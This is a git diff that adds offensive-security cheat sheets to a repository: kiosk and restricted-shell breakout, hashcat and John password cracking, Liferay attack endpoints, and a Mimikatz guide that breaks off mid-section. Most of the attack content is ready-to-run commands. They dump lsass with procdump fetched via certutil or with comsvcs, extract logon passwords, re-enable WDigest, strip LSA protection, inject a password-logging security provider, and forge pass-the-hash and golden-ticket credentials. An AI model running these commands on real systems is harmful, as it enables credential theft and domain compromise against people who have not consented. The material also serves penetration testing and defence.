2021](https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEF%20CON%2023%20-%20Bart-Kulach-Hack-the-Legacy-IBMi-revealed.pdf) +* [Hacking IBM AS/400 in 2024: QShell and Remote Code Execution - Mateusz Lewczak - October 04, 2024](https://www.securitum.com/hacking_ibm_as400_in_2024.html) +* [How to get & crack AS/400 hashes? - Fossies - November 7, 2017](https://fossies.org/linux/john/doc/README.IBM_AS400) +* [IBM AS/400 - Configuration TCP/IP - Podalirius - August 5, 2021](https://podalirius.net/en/mainframe/ibm-as-400-tcp-ip-configuration/) +* [IBM I FOR WINTEL HACKERS - TROOPERS 2024 - ZOLTÁN PÁNCZÉL, BÁLINT VARGA-PERKE - June 26th, 2024](https://silentsignal.hu/docs/S2-TROOPERS24-IBM_i_for_Wintel_Hackers.pdf) +* [IBM i Privileged Users – A Unique Security Challenge - Patrick Townsend - June 27, 2017](https://info.townsendsecurity.com/ibm-i-privileged-users-a-unique-security-challenge) +* [IBM i Security Demystified Blog, Episode 1 - Matthew Carpenter - June 23, 2020](https://web.archive.org/web/20200704060220/https://blog.grimm-co.com/2020/06/ibm-i-security-demystified-blog-episode.html) +* [IPL types and modes for IBM AS/400 - Podalirius - June 16, 2021](https://podalirius.net/en/mainframe/ipl-modes-for-ibm-as400/) +* [Is Your IBM i (iSeries/AS400) Security Vulnerable To Privilege Escalation And Lack Of Proper Access Controls? - Bob Losey - June 6, 2022](https://www.linkedin.com/pulse/your-ibm-i-iseriesas400-security-vulnerable-privilege-bob-losey/) +* [Pentest AS/400 - COGICEO](https://www.ossir.org/jssi/jssi2016/Pentest_AS400_COGICEO.pdf) +* [Re: [PEN-TEST] Pen-Testing AS/400 - Al Sparks - December 12, 2000](https://seclists.org/pen-test/2000/Dec/205) +* [Restoring an IBM AS/400 (9401-150) - Podalirius - June 10, 2021](https://podalirius.net/en/mainframe/restoring-an-ibm-as400-9401-150/) +* [Security Assessment of the IBM i (AS 400) System – Part 1 - Shashank Gosavi - August 14, 2020](https://web.archive.org/web/20200921183809/https://iisecurity.in/blog/security-assessment-ibm-400-system-part-1/) +* [Security Audit of IBM AS/400 and System i : Part 1 - Yogesh Prasad - August 21, 2018](https://web.archive.org/web/20200927010533/https://blog.securitybrigade.com/security-audit-of-ibm-as-400-system-i-part-1/) +* [Security Audit of IBM AS/400 and System i : Part 2 - Yogesh Prasad - August 22, 2018](https://web.archive.org/web/20200927002911/https://blog.securitybrigade.com/security-audit-ibm-as-400-system-i-2/) +* [Simple IBM i (AS/400) hacking - Zoltán Pánczél - September 5, 2022](https://blog.silentsignal.eu/2022/09/05/simple-ibm-i-as-400-hacking/) +* [Special authority - IBM - April 11, 2023](https://www.ibm.com/docs/en/i/7.4?topic=fields-special-authority) +* [Stealing User Profiles! Exploiting Unsecured User Profiles on IBM i. - Dan Riehl - December 28, 2017](https://www.securemyi.com/nl/articles/hijack.html) +* [TCP/IP Ports Required for IBM i Access and Related Functions - IBM - December 4, 2023](https://www.ibm.com/support/pages/tcpip-ports-required-ibm-i-access-and-related-functions) +* [TROOPERS24: IBM i for Wintel Hackers - Bálint Varga-Perke, Zoltán Pánczél - Septemeber 2, 2024](https://www.youtube.com/watch?v=t4fUvfzgUbY) +* [Vulnerability Archeology: Stealing Passwords with IBM i Access Client Solutions - Silent Signal - January 21, 2025](https://blog.silentsignal.eu/2025/01/21/ibm-acs-password-dump/) +* [Why Building an OS/400 Lab at Home Was Harder Than I Expected - Podalirius - January 24, 2020](https://podalirius.net/en/mainframe/why-building-an-os-400-lab-at-home-was-harder-than-i-expected/) diff --git a/personas/_shared/internal-allthethings/cheatsheets/escape-breakout.md b/personas/_shared/internal-allthethings/cheatsheets/escape-breakout.md new file mode 100644 index 0000000..4d46a07 --- /dev/null +++ b/personas/_shared/internal-allthethings/cheatsheets/escape-breakout.md @@ -0,0 +1,179 @@ +# Kiosk Escape and Jail Breakout + +## Summary + +* [Methodology](#methodology) +* [Gaining a command shell](#gaining-a-command-shell) +* [Sticky Keys](#sticky-keys) +* [Dialog Boxes](#dialog-boxes) + * [Creating new files](#creating-new-files) + * [Open a new Windows Explorer instance](#open-a-new-windows-explorer-instance) + * [Exploring Context Menus](#exploring-context-menus) + * [Save as](#save-as) + * [Input Boxes](#input-boxes) + * [Bypass file restrictions](#bypass-file-restrictions) +* [Internet Explorer](#internet-explorer) +* [Shell URI Handlers](#shell-uri-handlers) +* [References](#references) + +## Tools + +* [kiosk.vsim.xyz](https://kiosk.vsim.xyz/) - Tooling for browser-based, Kiosk mode testing. +* [break.yxz.red](https://break.yxz.red/) - Breakout Kit for Web Browser / Kiosk breakout Assessments. + +## Methodology + +* Display global variables and their permissions: `export -p` +* Switch to another user using `sudo`/`su` +* Basic privilege escalations such as CVE, sudo misconfiguration, etc. Comprehensive list at [Linux](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/) / [Windows](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/) +* List default commands in the restricted shell: `compgen -c` +* Container escape if it's running inside a `Docker`/`LXC` container +* Pivot onto the network + * Scan other machines on the network or attempt SSRF exploitation + * Metadata for Cloud assets, see `cloud/aws` and `cloud/azure` +* Use globbing capability built inside the shell: `echo *`, `echo .*`, `echo /*` + +## Gaining a command shell + +* **Shortcut** + * [Window] + [R] -> cmd + * [CTRL] + [SHIFT] + [ESC] -> Task Manager + * [CTRL] + [ALT] + [DELETE] -> Task Manager +* **Access through file browser**: Browsing to the folder containing the binary (i.e. `C:\windows\system32\`), we can simply right click and `open` it +* **Drag-and-drop**: dragging and dropping any file onto the cmd.exe +* **Hyperlink**: `file:///c:/Windows/System32/cmd.exe` +* **Task Manager**: `File` > `New Task (Run...)` > `cmd` +* **MSPAINT.exe** + * Open MSPaint.exe and set the canvas size to: `Width=6` and `Height=1` pixels + * Zoom in to make the following tasks easier + * Using the colour picker, set pixels values to (from left to right): + + ```ps1 + 1st: R: 10, G: 0, B: 0 + 2nd: R: 13, G: 10, B: 13 + 3rd: R: 100, G: 109, B: 99 + 4th: R: 120, G: 101, B: 46 + 5th: R: 0, G: 0, B: 101 + 6th: R: 0, G: 0, B: 0 + ``` + + * Save it as 24-bit Bitmap (*.bmp;*.dib) + * Change its extension from bmp to bat and run + * The generated file is also available for download: [escape-breakout-mspaint.bmp](./files/escape-breakout-mspaint.bmp) + +## Sticky Keys + +* Spawn the sticky keys dialog + * Via Shell URI : `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` + * Hit 5 times [SHIFT] +* Visit "Ease of Access Center" +* You land on "Setup Sticky Keys", move up a level on "Ease of Access Center" +* Start the OSK (On-Screen-Keyboard) +* You can now use the keyboard shortcut (CTRL+N) + +## Dialog Boxes + +### Creating new files + +* Batch files – Right click > New > Text File > rename to .BAT (or .CMD) > edit > open +* Shortcuts – Right click > New > Shortcut > `%WINDIR%\system32` + +## Open a new Windows Explorer instance + +* Right click any folder > select `Open in new window` + +## Exploring Context Menus + +* Right click any file/folder and explore context menus +* Clicking `Properties`, especially on shortcuts, can yield further access via `Open File Location` + +### Save as + +* "Save as" / "Open as" option +* "Print" feature – selecting "print to file" option (XPS/PDF/etc) +* `\\127.0.0.1\c$\Windows\System32\` and execute `cmd.exe` + +### Input Boxes + +Many input boxes accept file paths; try all inputs with UNC paths such as `//attacker–pc/` or `//127.0.0.1/c$` or `C:\` + +### Bypass file restrictions + +Enter *.* or *.exe or similar in `File name` box + +## Internet Explorer + +### Download and Run/Open + +* Text files -> opened by Notepad + +### Menus + +* The address bar +* Search menus +* Help menus +* Print menus +* All other menus that provide dialog boxes + +### Accessing filesystem + +Enter these paths in the address bar: + +* file://C:/windows +* C:/windows/ +* %HOMEDRIVE% +* \\127.0.0.1\c$\Windows\System32 + +### Unassociated Protocols + +It is possible to escape a browser based kiosk with other protocols than usual `http` or `https`. +If you have access to the address bar, you can use any known protocol (`irc`, `ftp`, `telnet`, `mailto`, etc.) +to trigger the *open with* prompt and select a program installed on the host. +The program will than be launched with the uri as a parameter, you need to select a program that will not crash when recieving it. +It is possible to send multiple parameters to the program by adding spaces in your uri. + +Note: This technique required that the protocol used is not already associated with a program. + +Example - Launching Firefox with a custom profile: + +This is a nice trick since Firefox launched with the custom profile may not be as much hardened as the default profile. + +0. Firefox need to be installed. +1. Enter the following uri in the address bar: `irc://127.0.0.1 -P "Test"` +2. Press enter to navigate to the uri. +3. Select the firefox program. +4. Firefox will be launched with the profile `Test`. + +In this example, it's the equivalent of running the following command: + +```ps1 +firefox irc://127.0.0.1 -P "Test" +``` + +## Shell URI Handlers + +A URI (Uniform Resource Identifier) handler is a software component that enables a web browser or operating system to pass a URI to an appropriate application for further handling. + +For example, when you click on a "mailto:" link in a webpage, your device knows to open your default email application. This is because the "mailto:" URI scheme is registered to be handled by an email application. Similarly, "http:" and "https:" URIs are typically handled by a web browser. + +In essence, URI handlers provide a bridge between web content and desktop applications, allowing for a seamless user experience when navigating between different types of resources. + +The following URI handlers might trigger application on the machine: + +* shell:DocumentsLibrary +* shell:Librariesshell:UserProfiles +* shell:Personal +* shell:SearchHomeFolder +* shell:System shell:NetworkPlacesFolder +* shell:SendTo +* shell:Common Administrative Tools +* shell:MyComputerFolder +* shell:InternetFolder + +## References + +* [PentestPartners - Breaking out of Citrix and other restricted desktop environments](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/) +* [Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks - Scott Sutherland - May 22nd, 2013](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/) +* [Escaping from KIOSKs - HackTricks](https://book.hacktricks.xyz/physical-attacks/escaping-from-gui-applications) +* [Breaking out of Windows Kiosks using only Microsoft Edge - Firat Acar - May 24, 2022](https://blog.nviso.eu/2022/05/24/breaking-out-of-windows-kiosks-using-only-microsoft-edge/) +* [HOW TO LAUNCH COMMAND PROMPT AND POWERSHELL FROM MS PAINT - 2022-05-14 - Rickard](https://tzusec.com/how-to-launch-command-prompt-and-powershell-from-ms-paint/) diff --git a/personas/_shared/internal-allthethings/cheatsheets/files/escape-breakout-mspaint.bmp b/personas/_shared/internal-allthethings/cheatsheets/files/escape-breakout-mspaint.bmp new file mode 100644 index 0000000000000000000000000000000000000000..7cee7d8ce1f0c3c07d1d7b838150fbab5706d70b GIT binary patch literal 74 scmZ?r^ wordlist + rules -> mask -> combinator mode -> prince attack -> ...) +4. Enjoy plains +5. Review strategy +6. Start over + +### Dictionary + +> Every word of a given list (a.k.a. dictionary) is hashed and compared against the target hash. + +```powershell +hashcat --attack-mode 0 --hash-type $number $hashes_file $wordlist_file -r $my_rules +``` + +* Wordlists + * [packetstorm](https://packetstormsecurity.com/Crackers/wordlists/) + * [weakpass_3a](https://download.weakpass.com/wordlists/1948/weakpass_3a.7z) + * [weakpass_3](https://download.weakpass.com/wordlists/1947/weakpass_3.7z) + * [Hashes.org](https://download.weakpass.com/wordlists/1931/Hashes.org.7z) + * [kerberoast_pws](https://gist.github.com/edermi/f8b143b11dc020b854178d3809cf91b5/raw/b7d83af6a8bbb43013e04f78328687d19d0cf9a7/kerberoast_pws.xz) + * [hashmob.net](https://hashmob.net/research/wordlists) + * [clem9669/wordlists](https://github.com/clem9669/wordlists) + +* Rules + * [One Rule to Rule Them All](https://notsosecure.com/one-rule-to-rule-them-all/) + * [nsa-rules](https://github.com/NSAKEY/nsa-rules) + * [hob064](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/hob064.rule) + * [d3adhob0](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/d3adhob0.rule) + * [clem9669/hashcat-rule](https://github.com/clem9669/hashcat-rule) + +### Mask attack + +Mask attack is an attack mode which optimize brute-force. + +> Every possibility for a given character set and a given length (i.e. aaa, aab, aac, ...) is hashed and compared against the target hash. + +```powershell +# Mask: upper*1+lower*5+digit*2 and upper*1+lower*6+digit*2 +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?d?d?1 +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?l?d?d?1 + +# Mask: upper*1+lower*3+digit*4 and upper*1+lower*3+digit*4 +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?d?d?d?d +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?d?d?d?d +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d?d?d +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?d?d?d?d?1 +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?d?d?d?d?1 + +# Mask: lower*6 + digit*2 + special digit(+!?*) +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1 +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1?1 + +# Mask: lower*6 + digit*2 +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 /content/hashcat/masks/8char-1l-1u-1d-1s-compliant.hcmask +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 ?l?d?u ?1?1?1?1?1?1?1?1 + +# Other examples +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a?a +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a +hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d?d?d +hashcat --attack-mode 3 --increment --increment-min 4 --increment-max 8 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a?a?a?a?a" +hashcat --attack-mode 3 --hash-type $number $hashes_file "?u?l?l?l?d?d?d?d?s" +hashcat --attack-mode 3 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a" +hashcat --attack-mode 3 --custom-charset1 "?u" --custom-charset2 "?l?u?d" --custom-charset3 "?d" --hash-type $number $hashes_file "?1?2?2?2?3" +``` + +| Shortcut | Characters | +|----|----------------------------| +| ?l | abcdefghijklmnopqrstuvwxyz | +| ?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ | +| ?d | 0123456789 | +| ?s | !"#$%&'()*+,-./:;<=>?@[\]^_`{}~ | +| ?a | ?l?u?d?s | +| ?b | 0x00 - 0xff | + +## John + +### John Usage + +```bash +# Run on password file containing hashes to be cracked +john passwd + +# Use a specific wordlist +john --wordlist= passwd + +# Use a specific wordlist with rules +john --wordlist= passwd --rules=Jumbo + +# Show cracked passwords +john --show passwd + +# Restore interrupted sessions +john --restore +``` + +## Rainbow tables + +> The hash is looked for in a pre-computed table. It is a time-memory trade-off that allows cracking hashes faster, but costing a greater amount of memory than traditional brute-force of dictionary attacks. This attack cannot work if the hashed value is salted (i.e. hashed with an additional random value as prefix/suffix, making the pre-computed table irrelevant) + +## Tips and Tricks + +* Cloud GPU + * [penglab - Abuse of Google Colab for cracking hashes. 🐧](https://github.com/mxrch/penglab) + * [google-colab-hashcat - Google colab hash cracking](https://github.com/ShutdownRepo/google-colab-hashcat) + * [Cloudtopolis - Zero Infrastructure Password Cracking](https://github.com/JoelGMSec/Cloudtopolis) + * [Nephelees - also a NTDS cracking tool abusing Google Colab](https://github.com/swisskyrepo/Nephelees) +* Build a rig on premise + * [Pentester's Portable Cracking Rig - $1000](https://www.netmux.com/blog/portable-cracking-rig) + * [How To Build A Password Cracking Rig - 5000$](https://www.netmux.com/blog/how-to-build-a-password-cracking-rig) +* Online cracking + * [Hashes.com](https://hashes.com/en/decrypt/hash) + * [hashmob.net](https://hashmob.net/): great community with Discord +* Use the `loopback` in combination with rules and dictionary to keep cracking until you don't find new passsword: `hashcat --loopback --attack-mode 0 --rules-file $rules_file --hash-type $number $hashes_file $wordlist_file` +* PACK (Password Analysis and Cracking Kit) + * [iphelix/pack](https://github.com/iphelix/pack/blob/master/README) + * Can produce custom hcmask files to use with hashcat, based on statistics and rules applied on an input dataset +* Use Deep Learning + * [brannondorsey/PassGAN](https://github.com/brannondorsey/PassGAN) + +## Online Cracking Resources + +* [hashes.com](https://hashes.com) +* [crackstation.net](https://crackstation.net) +* [hashmob.net](https://hashmob.net/) + +## References + +* [Cracking - The Hacker Recipes](https://www.thehacker.recipes/ad-ds/movement/credentials/cracking) +* [Using Hashcat to Crack Hashes on Azure](https://durdle.com/2017/04/23/using-hashcat-to-crack-hashes-on-azure/) +* [miloserdov.org hashcat](https://miloserdov.org/?p=5426&PageSpeed=noscript) +* [miloserdov.org john](https://miloserdov.org/?p=4961&PageSpeed=noscript) +* [DeepPass — Finding Passwords With Deep Learning - Will Schroeder - Jun 1](https://posts.specterops.io/deeppass-finding-passwords-with-deep-learning-4d31c534cd00) diff --git a/personas/_shared/internal-allthethings/cheatsheets/liferay.md b/personas/_shared/internal-allthethings/cheatsheets/liferay.md new file mode 100644 index 0000000..96cfd02 --- /dev/null +++ b/personas/_shared/internal-allthethings/cheatsheets/liferay.md @@ -0,0 +1,153 @@ +# Liferay + +> Liferay Portal is an open-source enterprise portal platform used for building web applications and digital experiences. It provides features like content management, user authentication, collaboration tools, and customizable dashboards. - [liferay/liferay-portal](https://github.com/liferay/liferay-portal) + +## Summary + +* [Portlets](#portlets) +* [Login Page](#login-page) +* [Register Page](#register-page) +* [User Profile](#user-configuration) +* [User Configuration](#user-configuration) +* [Control Panel](#control-panel) +* [API](#api) +* [Vulnerabilities](#vulnerabilities) + * [Open Redirect](#open-redirect) + * [Code Execution on Administrator Control Panel](#code-execution-on-administrator-control-panel) + * [Resource Leakage Through I18nServlet](#resource-leakage-through-i18nservlet) + * [Remote Code Execution via JSON web services](#remote-code-execution-via-json-web-services) +* [References](#references) + +## Portlets + +```ps1 +/?p_p_id=&p_p_lifecycle=0&p_p_state=&p_p_mode= +``` + +* **portlet_ID**: ID of the portlet to be executed. Can be a numeric ID, which is an incremental number for each portlet, or a [liferay.com/Fully-Qualified-Portlet-IDs](https://help.liferay.com/hc/en-us/articles/360018511712-Fully-Qualified-Portlet-IDs), which is a string. + +* **window_state**: Amount of space a portlet takes up on a page. Values are: normal, maximized +minimized + +* **mode**: Portlet's current function. Values are: view, edit, help + +| Name | Portlet ID | +| ------------------- | ---------- | +| Asset Publisher | com_liferay_asset_publisher_web_portlet_AssetPublisherPortlet | +| Documents and Media | com_liferay_document_library_web_portlet_DLPortlet | +| Navigation Menu | com_liferay_site_navigation_menu_web_portlet_SiteNavigationMenuPortlet | +| Site Map | com_liferay_site_navigation_site_map_web_portlet_SiteNavigationSiteMapPortlet | +| Web Content Display | com_liferay_journal_content_web_portlet_JournalContentPortlet | +| Search Bar | com_liferay_portal_search_web_search_bar_portlet_SearchBarPortlet | +| Search | com_liferay_portal_search_web_portlet_SearchPortlet | + +## Login Page + +```ps1 +/login +/c/portal/login +/?p_p_id=58&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view +/?p_p_id=58&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&saveLastPath=false&_58_struts_action=%2Flogin%2Flogin +/?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view +/?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&saveLastPath=false&_58_struts_action=%2Flogin%2Flogin +``` + +## Register Page + +```ps1 +/?p_p_id=58&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Fcreate_account +/?p_p_id=58&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&saveLastPath=false&_58_struts_action=%2Flogin%2Flogin&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Fcreate_account +/?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Fcreate_account +/?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&saveLastPath=false&_58_struts_action=%2Flogin%2Flogin&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Fcreate_account +``` + +## User Profile + +```ps1 +/web/ +/web//home +/user//control_panel/manage +/user//~/control_panel/manage +/web/guest +/web/guest/home +``` + +## User Configuration + +```ps1 +/user/ +/user//manage +/user//manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view +/group/control_panel/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPo +``` + +## Control Panel + +Endpoints reachable by authenticated users. + +```ps1 +/group/control_panel/manage +/group/guest/control_panel/manage +/group/guest/~/control_panel/manage +/group//control_panel/manage +/group//~/control_panel/manage +/user//control_panel/manage +/user//~/control_panel/manage +``` + +## API + +* [nuclei-templates/http/misconfiguration/liferay/liferay-axis.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/liferay/liferay-axis.yaml) +* [nuclei-templates/http/misconfiguration/liferay/liferay-jsonws.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/liferay/liferay-jsonws.yaml) +* [nuclei-templates/http/misconfiguration/liferay/liferay-api.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/liferay/liferay-api.yaml) + +| Name | Path | +| ----------------- | ------------- | +| JSON Web Services | `/api/jsonws` | +| SOAP | `/api/axis` | +| GraphQL | `/o/graphql` | +| JSON and GraphQL | `/o/api` | + +## Vulnerabilities + +* [liferay.dev/known-vulnerabilities](https://liferay.dev/portal/security/known-vulnerabilities) +* [ilmila/J2EEScan](https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/LiferayAPI.java) + +### Open Redirect + +```ps1 +/html/common/referer_jsp.jsp?referer= +/html/common/referer_js.jsp?referer= +/html/common/forward_jsp.jsp?FORWARD_URL= +/html/common/forward_js.jsp?FORWARD_URL= +``` + +### Code Execution on Administrator Control Panel + +Gogo shell, read files + +```ps1 +/group/control_panel/manage?p_p_id=com_liferay_gogo_shell_web_internal_portlet_GogoShellPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_gogo_shell_web_internal_portlet_GogoShellPortlet_javax.portlet.action=executeCommand +``` + +Groovy Interpreter + +```ps1 +/group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script +``` + +### Resource Leakage Through I18nServlet + +Liferay is vulnerable to local file inclusion in the I18n Servlet because it leaks information via sending an HTTP request to /[language]/[resource];.js (also .jsp works). [nuclei-templates/http/vulnerabilities/j2ee/liferay-resource-leak.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/j2ee/liferay-resource-leak.yaml) + +* Liferay Portal 7.3.0 GA1 +* Liferay Portal 7.0.2 GA3 + +### Remote Code Execution via JSON web services + +* [nuclei-templates/http/cves/2020/CVE-2020-7961.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-7961.yaml) + +## References + +* [Pentesting Liferay Applications - Víctor Fresco - February 6, 2025](https://www.tarlogic.com/blog/pentesting-liferay-applications/) +* [How to exploit Liferay CVE-2020-7961 : quick journey to PoC - Thomas Etrillard - March 30, 2020](https://www.synacktiv.com/en/publications/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html) diff --git a/personas/_shared/internal-allthethings/cheatsheets/mimikatz-cheatsheet.md b/personas/_shared/internal-allthethings/cheatsheets/mimikatz-cheatsheet.md new file mode 100644 index 0000000..fa26dcf --- /dev/null +++ b/personas/_shared/internal-allthethings/cheatsheets/mimikatz-cheatsheet.md @@ -0,0 +1,321 @@ +# Mimikatz + +## Summary + +* [Execute commands](#execute-commands) +* [Extract passwords](#extract-passwords) +* [LSA Protection Workaround](#lsa-protection-workaround) +* [Mini Dump](#mini-dump) +* [Pass The Hash](#pass-the-hash) +* [Golden ticket](#golden-ticket) +* [Skeleton key](#skeleton-key) +* [RDP Session Takeover](#rdp-session-takeover) +* [RDP Passwords](#rdp-passwords) +* [Credential Manager & DPAPI](#credential-manager--dpapi) + * [Chrome Cookies & Credential](#chrome-cookies--credential) + * [Task Scheduled credentials](#task-scheduled-credentials) + * [Vault](#vault) +* [Commands list](#commands-list) +* [Powershell version](#powershell-version) +* [References](#references) + +![Data in memory](http://adsecurity.org/wp-content/uploads/2014/11/Delpy-CredentialDataChart.png) + +## Execute commands + +Only one command + +```powershell +PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit +``` + +Mimikatz console (multiple commands) + +```powershell +PS C:\temp\mimikatz> .\mimikatz +mimikatz # privilege::debug +mimikatz # log +mimikatz # sekurlsa::logonpasswords +mimikatz # sekurlsa::wdigest +``` + +## Extract passwords + +> Microsoft disabled lsass clear text storage since Win8.1 / 2012R2+. It was backported (KB2871997) as a reg key on Win7 / 8 / 2008R2 / 2012 but clear text is still enabled. + +```powershell +mimikatz_command -f sekurlsa::logonPasswords full +mimikatz_command -f sekurlsa::wdigest + +# to re-enable wdigest in Windows Server 2012+ +# in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest +# create a DWORD 'UseLogonCredential' with the value 1. +reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /f /d 1 +``` + +:warning: To take effect, conditions are required : + +* Win7 / 2008R2 / 8 / 2012 / 8.1 / 2012R2: + * Adding requires lock + * Removing requires signout +* Win10: + * Adding requires signout + * Removing requires signout +* Win2016: + * Adding requires lock + * Removing requires reboot + +## LSA Protection Workaround + +* LSA as a Protected Process (RunAsPPL) + + ```powershell + # Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1 + reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa + + # Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe + # Now lets import the mimidriver.sys to the system + mimikatz # !+ + + # Now lets remove the protection flags from lsass.exe process + mimikatz # !processprotect /process:lsass.exe /remove + + # Finally run the logonpasswords function to dump lsass + mimikatz # privilege::debug + mimikatz # token::elevate + mimikatz # sekurlsa::logonpasswords + + # Now lets re-add the protection flags to the lsass.exe process + mimikatz # !processprotect /process:lsass.exe + + # Unload the service created + mimikatz # !- + + + # https://github.com/itm4n/PPLdump + PPLdump.exe [-v] [-d] [-f] + PPLdump.exe lsass.exe lsass.dmp + PPLdump.exe -v 720 out.dmp + ``` + +* LSA is running as virtualized process (LSAISO) by **Credential Guard** + + ```powershell + # Check if a process called lsaiso.exe exists on the running processes + tasklist |findstr lsaiso + + # Lets inject our own malicious Security Support Provider into memory + # require mimilib.dll in the same folder + mimikatz # misc::memssp + + # Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log + ``` + +## Mini Dump + +Dump the lsass process with `procdump` + +> Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that. + +```powershell +# HTTP method - using the default way +certutil -urlcache -split -f http://live.sysinternals.com/procdump.exe C:\Users\Public\procdump.exe +C:\Users\Public\procdump.exe -accepteula -ma lsass.exe lsass.dmp + +# SMB method - using the pid +net use Z: https://live.sysinternals.com +tasklist /fi "imagename eq lsass.exe" # Find lsass's pid +Z:\procdump.exe -accepteula -ma $lsass_pid lsass.dmp +``` + +Dump the lsass process with `rundll32` + +```powershell +rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full +``` + +Use the minidump: + +* Mimikatz: `.\mimikatz.exe "sekurlsa::minidump lsass.dmp"` + + ```powershell + mimikatz # sekurlsa::minidump lsass.dmp + mimikatz # sekurlsa::logonPasswords + ``` + +* Pypykatz: `pypykatz lsa minidump lsass.dmp` + +## Pass The Hash + +```powershell +mimikatz # sekurlsa::pth /user:SCCM$ /domain:IDENTITY /ntlm:e722dfcd077a2b0bbe154a1b42872f4e /run:powershell +``` + +## Golden ticket + +```powershell +.\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt +``` + +```powershell +.\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit +``` + +## Skeleton key + +```powershell +privilege::debug 